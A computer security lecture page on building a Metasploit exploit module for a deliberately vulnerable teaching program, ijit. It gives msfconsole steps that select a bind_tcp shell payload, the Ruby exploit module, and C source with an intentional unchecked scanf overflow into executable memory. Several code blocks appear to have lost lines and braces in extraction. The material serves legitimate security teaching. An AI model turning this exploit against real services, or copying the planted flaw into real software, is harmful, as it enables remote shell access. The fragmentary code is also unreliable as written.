Buffer Overflow Part 3: Metasploit

Computer Security Lecture, Dr. Lawlor

Metasploit is a reusable Ruby framework for building offensive tools for attacking machines. 
Metasploit installation is initially quite painless on a recent Linux machine, or it's part of several tool distributions like Kali.  The default install location is /opt/metasploit-framework/embedded/framework/modules/. 

To start metasploit command line, run

Making the Database Connection

By default metasploit relies on a database, postgres, which has a bad habit of unpredictably failing and preventing msfconsole from even starting.  And it takes at least a few seconds to start normally, so it's hard to distinguish from a hang.  (msfconsole will also hang on startup or reload_all if it finds anything executable inside your modules directory, even a shell script or git commit hook--it will run it and wait forever for it to respond to jsonrpc calls.)

To verify postgres is running, try a netstat and make sure you have a process named postgres listening on TCP port 5433; if not, you need to start postgres manually, for example with one of these commands:
If msfconsole hangs at startup, you can press ctrl-C twice (!) to stop it attempting to connect to the database, giving you an msfconsole.  db_status will show the database status.  You may need to reconnect to the database with something like this:

Writing a Buffer Overflow Exploit Module

Metasploit Unleashed has a good section on "Exploit Development".

Rapid7's design rationale for their exploit modules

I wrote a tiny metasploitable buffer overflow example program called ijit.  (It's called ijit because it's in the style of a heap-based exploit for a Just-In-Time (JIT) compiler.) 

To use it from a Linux machine, first softlink this code into your metasploit modules directory:
git clone https://github.com/olawlor/ijit
mkdir -p ~/.msf4/modules/exploits/linux/ijit cd ~/.msf4/modules/exploits/linux/ijit ln -s ~/ijit/ijit.rb .
(Don't check out directly into modules/exploits, that will make msfconsole hang at startup when it sees the executable git hooks!)

Now compile and run the vulnerable program (compiled here as a 32-bit x86 program):
cd ~/ijit
gcc -m32 ijit.c -o ijit32 
nc -l -p 8888 | ./ijit32
I'm using netcat to bolt TCP port 8888 to the vulnerable program's standard input.   Leave the vulnerable program running.

In another terminal, exploit it with msfconsole. 
use exploit/linux/ijit/ijit 
show targets
set target 0
show options
show nops
set nop x86/single_byte
show payloads
set payload linux/x86/shell/bind_tcp exploit

If it doesn't work, make sure the vulnerable process is running and your network works, and hit "exploit" again.
If it works, you get a shell on the target machine.  Type "exit" or kill the far side to get back to msfconsole.

Here's the modules/exploits/linux/ijit/ijit.rb metasploit script.  msfconsole "reload" is useful anytime you change this script.

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
'Name' => 'ijit Demo Buffer Overflow',
'Description' => %q{
Simple demo buffer overflow for custom "ijit" server.
'Author' => [ 'OSL' ],
'License' => MSF_LICENSE,
'References' =>
[ 'CVE', 'xxxx-yyyy' ]
'Privileged' => false,
'Payload' =>
'Space' => 1024,
'BadChars' => "\x00\x20\x0a\x0d\x0b\x0c\x09",
'Platform' => 'linux',
'Targets' =>
[ 'ijit buffer start', { 'Ret' => 0x3badc040 } ],
[ 'ijit sled middle', { 'Ret' => 0x3badc240 } ],
'DefaultTarget' => 0,
'DisclosureDate' => 'November 2017'))


def exploit
print_status("Connecting to target...")


shellcode = payload.encoded
outbound = rand_text_alphanumeric(32) + payload.encoded + [target.ret].pack('Q')
print_status("Outbound data: \"#{outbound}\"")
hexed = shellcode.dump
print_status("Payload in hex: \"#{hexed}\"")

print_status("Trying target #{target.name}...")


(In making this actually work, the hardest part was finding all the BadChars.  The payload byte copy will stop early if you send over a bad character, leaving half-finished shellcode that usually crashes with Illegal instruction.)

The vulnerable C code is below.    
ijit: interactive Just-In-Time compiler
UNIX program designed to be a relatively reliable simple target
for buffer overflow attacks.
Compile and run on TCP port 8888 with:
gcc ijit.c -o ijit
nc -l -p 8888 | ./ijit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

struct ijit_code;

/** This function pointer runs the jit'd code */
typedef void (*ijit_interpreter)(struct ijit_code *code);

/** This struct stores a block of jit code */
struct ijit_code {
char name[32]; /* run name */
char jitted[1024]; /* machine code to run */
ijit_interpreter interp; /* fallback interpreter function */

int main() {
/* Allocate executable area to store JIT code: */
struct ijit_code *code=(struct ijit_code *)mmap(
(void *)0x3badc000, /* pointer to base address of new jit_code structure */
4096, /* bytes of code to run */
PROT_READ|PROT_WRITE|PROT_EXEC, /* allow anything: RWX */
MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, /* allocate memory where I say */
-1, 0 /* file descriptor and offset not used. */
if (code==(struct ijit_code *)-1) {
perror("mmap"); exit(1);

/* Set up structure */
printf("Loading name into code struct at %p...\n",(void *)code);

/* VULNERABILTY HERE: read name *without* checking name length. */
if (1!=scanf("%s",code->name)) {
printf("ERROR in scanf. Exiting.\n"); exit(1);
printf("Loaded name %s (%zd bytes)\n", code->name, strlen(code->name));

/* Run the code */
if (code->interp) {
printf("Seems to be an interpreter at %p: running it...\n",(void *)code->interp);
printf("Back from interpreter.\n");
} else {
printf("No interpreter found. Exiting.\n");
return 0;

Here I'm allocating the jit_code space using mmap for two reasons:
This is just a tiny taste of the full power of metasploit.